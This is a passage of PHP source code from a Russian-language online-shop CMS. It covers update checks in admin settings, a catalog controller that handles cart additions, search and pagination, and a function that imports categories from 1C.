$checked = 'checked'; } $this->checked = $checked; if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(); preg_match('/Ближайшая версия для обновления:(.*)/', $newVer['msg'], $m); if (!empty($m[1])) { $this->newFirstVersiov = $m[1]; } preg_match('/Последняя версия системы:(.*)/', $newVer['msg'], $m); if (!empty($m[1])) { $this->newLastVersiov = $m[1]; } $this->newVersionMsg = 'none'; preg_match('/Описание:(.* )/si', $newVer['msg'], $m); if (!empty($m[1])) { $this->newVersionMsg = $m[1]; } } else { foreach ($checkLibs as $message) { $errorUpdata .= $message . '<br>'; } $this->errorUpdata = $errorUpdata; } if (32 != strlen($licenceKey['value']) && !empty($licenceKey['value'])) { $this->updataDisabled = 'disabled'; $this->updataOpacity = 'opacity'; } $listCategories = MG::get('category')->getCategoryTitleList(); $listCategories[0] = "Все доступные характеристики"; $this->listCategories = $listCategories;
function __construct() { $settings = MG::get('settings'); // Если нажата кнопка купить. $_REQUEST['category_id'] = URL::getQueryParametr('category_id'); if (!empty($_REQUEST['inCartProductId'])) { $cart = new Models_Cart(); // Если параметров товара не передано // возможно была нажата кнопка купить из мини карточки, // в этом случае самостоятельно вычисляем набор // параметров, которые были бы указаны при открытии карточки товара. if (empty($_POST) || isset($_POST['updateCart']) && isset($_POST['inCartProductId']) && count($_POST) == 2) { $modelProduct = new Models_Product(); $product = $modelProduct->getProduct($_REQUEST['inCartProductId']); if (empty($product)) { MG::redirect('/404'); exit; } $blockVariants = $modelProduct->getBlockVariants($product['id']); $blockedProp = $modelProduct->noPrintProperty(); $propertyFormData = $modelProduct->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso'])); $_POST = $propertyFormData['defaultSet']; $_POST['inCartProductId'] = $product['id']; } $property = $cart->createProperty($_POST); $cart->addToCart($_REQUEST['inCartProductId'], $_REQUEST['amount_input'], $property); SmalCart::setCartData(); MG::redirect('/cart'); } if (!empty($_REQUEST['fastsearch'])) { $this->getSearchData(); } $countСatalogProduct = $settings['countСatalogProduct']; // Показать первую страницу выбранного раздела. $page = 1; // Запрашиваемая страница. if (isset($_REQUEST['p'])) { $page = $_REQUEST['p']; } $model = new Models_Catalog(); // Если происходит поиск по ключевым словам. $keyword = MG::defenderXss_decode(urldecode(URL::getQueryParametr('search'))); if (!empty($keyword)) { $keyword = $this->convertLang($keyword); $items = $model->getListProductByKeyWord($keyword, false, true, false, 'groupBy'); $searchData = array('keyword' => $keyword, 'count' => $items['numRows']); } else { // Получаем список вложенных категорий, // для вывода всех продуктов, на страницах текущей категории. if (empty($_REQUEST['category_id'])) { $_REQUEST['category_id'] = 0; } $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']); // В конец списка, добавляем корневую текущую категорию. $model->categoryId[] = $_REQUEST['category_id']; // Записываем в глобальную переменную список всех вложенных категорий, // чтобы использовать в других местах кода, например в фильтре по характеристикам $_REQUEST['category_ids'] = $model->categoryId; // Передаем номер требуемой страницы, и количество выводимых объектов. $countСatalogProduct = $settings['countСatalogProduct']; $items = $model->getList($countСatalogProduct, false, true); } // Если с фильтра пришел запрос только на количество позиций. if (!empty($_REQUEST['getcount']) && !empty($_REQUEST['filter'])) { echo $items['totalCountItems'] ? $items['totalCountItems'] : 0; exit; } $settings = MG::get('settings'); if (empty($items['catalogItems'])) { $items['catalogItems'] = array(); } else { foreach ($items['catalogItems'] as $item) { if ($item['id']) { $productIds[] = $item['id']; } } $product = new Models_Product(); $blocksVariants = empty($productIds) ? null : $product->getBlocksVariantsToCatalog($productIds); $blockedProp = $product->noPrintProperty(); $actionButton = MG::getSetting('actionInCatalog') === "true" ? 'actionBuy' : 'actionView'; foreach ($items['catalogItems'] as $k => $item) { $imagesUrl = explode("|", $item['image_url']); $items['catalogItems'][$k]["image_url"] = ""; if (!empty($imagesUrl[0])) { $items['catalogItems'][$k]["image_url"] = $imagesUrl[0]; } $items['catalogItems'][$k]['title'] = MG::modalEditor('catalog', $item['title'], 'edit', $item["id"]); if ($items['catalogItems'][$k]['count'] == 0) { $buyButton = $items['catalogItems'][$k]['actionView']; } else { $buyButton = $items['catalogItems'][$k][$actionButton]; if (!empty($items['catalogItems'][$k]['variants'])) { foreach ($items['catalogItems'][$k]['variants'] as $variant) { if ($variant['count'] == 0) { $buyButton = $items['catalogItems'][$k]['actionView']; } } } } // Легкая форма без характеристик. $liteFormData = $product->createPropertyForm($param = array('id' => $item['id'], 'maxCount' => $item['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => true, 'titleBtn' => "В корзину", 'blockVariants' => $blocksVariants[$item['id']], 'buyButton' => $buyButton)); $items['catalogItems'][$k]['liteFormData'] = $liteFormData['html']; $buyButton = $items['catalogItems'][$k]['liteFormData']; $items['catalogItems'][$k]['buyButton'] = $buyButton; } } $categoryDesc = MG::get('category')->getDesctiption($_REQUEST['category_id']); if ($_REQUEST['category_id']) { $categoryDesc = MG::inlineEditor(PREFIX . 'category', "html_content", $_REQUEST['category_id'], $categoryDesc); } $catImg = MG::get('category')->getImageCategory($_REQUEST['category_id']); //$model->currentCategory['title'] = $_REQUEST['category_id'] ? $model->currentCategory['title'] : 0, //var_dump($model->currentCategory['title']); $data = array('items' => $items['catalogItems'], 'titeCategory' => $model->currentCategory['title'], 'cat_desc' => $categoryDesc, 'cat_img' => $catImg, 'cat_id' => $_REQUEST['category_id'] ? $_REQUEST['category_id'] : 0, 'filterBar' => $items['filterBarHtml'], 'totalCountItems' => $items['totalCountItems'], 'pager' => $items['pager'], 'searchData' => empty($searchData) ? '' : $searchData, 'meta_title' => !empty($model->currentCategory['meta_title']) ? $model->currentCategory['meta_title'] : $model->currentCategory['title'], 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "товары,продукты,изделия", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В каталоге нашего магазина есть все.", 'currency' => $settings['currency'], 'actionButton' => $actionButton); if (URL::isSection('catalog') || MG::getSetting('catalogIndex') == 'true' && (URL::isSection('index') || URL::isSection(''))) { $html = MG::get('pages')->getPageByUrl('catalog'); $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); $data['meta_title'] = $html['meta_title'] ? $html['meta_title'] : $html['title']; $data['meta_title'] = $data['meta_title'] ? $data['meta_title'] : $model->currentCategory['title']; $data['meta_keywords'] = $html['meta_keywords']; $data['meta_desc'] = $html['meta_desc']; $data['cat_desc'] = $html['html_content']; $data['titeCategory'] = $html['title']; } if ($keyword) { $data['meta_title'] = 'Поиск по фразе: ' . $keyword; } $this->data = $data; }
/** * Создание новой категории. * @param $category - категория. */ function newCategory($category) { $url = URL::prepareUrl(MG::translitIt($category['name'], 1)); $parent_url = MG::get('category')->getParentUrl($category['parent_id']); $parent = URL::prepareUrl(MG::translitIt($category['parentname'], 1)); $data = array('title' => $category['name'], 'url' => str_replace(array('/', '\\'), '-', $url), 'parent' => $category['parent_id'], 'html_content' => $category['description'], 'meta_title' => $category['name'], 'meta_keywords' => $category['name'], 'meta_desc' => MG::textMore($category['description'], 157), 'invisible' => 0, 'parent_url' => $parent_url, '1c_id' => $category['1c_id']); $res = DB::query('SELECT * FROM `' . PREFIX . 'category` WHERE `1c_id`=' . DB::quote($category['1c_id'])); if ($row = DB::fetchAssoc($res)) { DB::query(' UPDATE `' . PREFIX . 'category` SET ' . DB::buildPartQuery($data) . ' WHERE `1c_id`=' . DB::quote($category['1c_id'])); return $row['id']; } else { $data = MG::get('category')->addCategory($data); return $data['id']; } return 0; }